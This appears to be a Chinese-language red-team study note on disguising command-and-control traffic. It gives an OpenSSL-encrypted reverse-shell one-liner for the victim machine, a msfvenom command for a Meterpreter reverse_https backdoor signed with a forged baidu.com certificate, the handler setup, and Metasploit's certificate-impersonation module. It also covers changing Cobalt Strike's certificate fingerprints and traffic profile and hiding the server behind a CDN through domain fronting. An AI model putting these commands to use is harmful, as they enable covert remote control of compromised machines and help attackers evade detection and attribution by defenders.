#知识点:
1、MSF-OpenSSL 证书-流量加密通讯
2、CS-指纹特征证书修改-流量加密通讯
3、CS-C2&CDN 域前置-隐藏 IP 防朔源封锁
#背景交代:
在红蓝对抗或日常测试中会出现一种情况,当我们终于让目标机器上线后,
却因为明显的通信特征被安全设备检测到从而失去目标机器的控制权限,
这时就需要对 Cobalt Strike 或 MSF 的特征进行隐藏、对其通信流量进行混淆。
#常见红蓝对抗中红队面临问题:
1、通讯协议走 TCP&UDP 协议,直接被防火墙限制出网
2、通讯协议走无加密 HTTP 协议,直接明文传输成指纹特征
3、通讯协议走 HTTPS 或 DNS 加密协议,直接工具证书成指纹特征
4、通讯协议走 HTTPS 或 DNS 加密协议,特征指纹等修改后又被朔源拉黑
红队进行权限控制,主机开始限制出网,尝试走常见出网协议 http/https,结果流 量设备入侵检测检测系统发现异常,尝试修改工具指纹特征加密流量防止检测,结果被定 位到控制服务器,再次使用 CDN,云函数,第三方上线等进行隐藏保证权限维持。
#NC-未加密&加密后-流量抓包对比
一般linux上面进行反弹shell的操作都是明文传输,在实战中蓝队的设备很容易就检测到异常,可以使用openssl生成证书使用ssl进行加密通信
在我们的攻击端生成自签名证书,输入后直接回车全部命令即可
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem
rsa:2048指定加密协议 365是证书的有效期
在攻击机上监听指定端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
在受害机上执行 shell 反弹命令(注意修改 ip 和端口)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect xx.xx.xx.xx:8888 > /tmp/s;
#MSF-流量通讯特征修改-证书-openssl
-解决 HTTPS-SSL 通讯证书被特征标示问题
1.利用 openssl 生成证书:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.com.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt
2.MSF 生成绑定证书后门:
msfvenom -p windows/meterpreter/reverse_https LHOST=47.94.236.117 LPORT=5566 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true - f exe -o https-b.exe
3.MSF 监听上线:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 5566
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
run
然后访问;浏览器访问监听到端口可以发现网站的证书内容发生了变化
-impersonate_ssl 模块
此外 Metasploit 框架还有一个 auxiliary/gather/impersonate_ssl 模块,可 以用来自动从信任源创建一个虚假证书,十分方便:
use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com
run
#CS-流量通讯特征修改-证书指纹-keytool
修改teamserver文件的默认50050端口为其他端口,一般微步只要看到开放了50050就会标记为c2
去除证书指纹
默认证书使用./cobaltstrike.store文件,可以使用keytool工具生成新的证书指纹。keytool是jdk自带的工具。
keytool.exe -list -v -keystore cobaltstrike.store
输入后要求输入密码,密码就在teamserver里默认是123456
生成新的文件,修改指纹
keytool -keystore dreamer292.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias dreamer292.com -dname "CN=dreamer292 e-Szigno Root CA, OU=e-Szigno CA,O=dreamer292 Ltd., L=Budapest ,ST=HU,C=HU"
再次查看一下可以看到指纹被修改了
去除流量通信特征
在github上面搜索c2-profiles有很多项目可以使用
测试规则正常 ./c2lint xxx.profile
加载规则启动 ./teamserver ip 密码 xxx.profiles
还可以添加https相关的配置信息,要和之前生成的那个store内容一样
#custom cert
https-certificate {
set CN "dreamer292 e-Szigno Root CA";
set O "dreamer292 Ltd.";
set C "HU";
set L "Budapest";
set OU "e-Szigno CA";
set ST "HU";
set validity "365";
# set keystore "your_store_file.store";
# set password "your_store_pass";
}
code-signer{
set keystore "dreamer292.store";
set password "123456";
set alias "dreamer292.com";
}
抓包查看数据流
可以看到数据全部都变成了profile中的内容
而且我抓包查看了应该是没有checksum8的特征了(我看了看我的模版发现他在里面配置了64和32分别固定的访问一个路径而不是使用checksum8来随机检测)这样确实比较好自己写一个简单的区别来区分即可。
隐藏
域前置、CDN、云函数、网盘第三方上线等
#CS-防封锁处置ip地址 -域前置 -c2&CDN
解决HTTPS-SSL通讯被溯源ip封锁问题
1、阿里云备案域名&全站加速CDN配置
2、Cs创建监听器-HTTPS/stager/Header
3、生成后门-进程网络状态&威胁情报平台
发挥想象:
域前置?转发器换成CDN;
云函数?转发器换成云函数转发;
代理隐藏?转发器换成代理机;
网关隐藏?转发器换成网关;
本节课只讲了cdn的隐藏方式,不过我没有使用小迪使用的阿里云来做,我参考网上的其他的教程使用国外无需实名的域名和免费的cloudflare的CDN实现,免费的CDN节点比较少。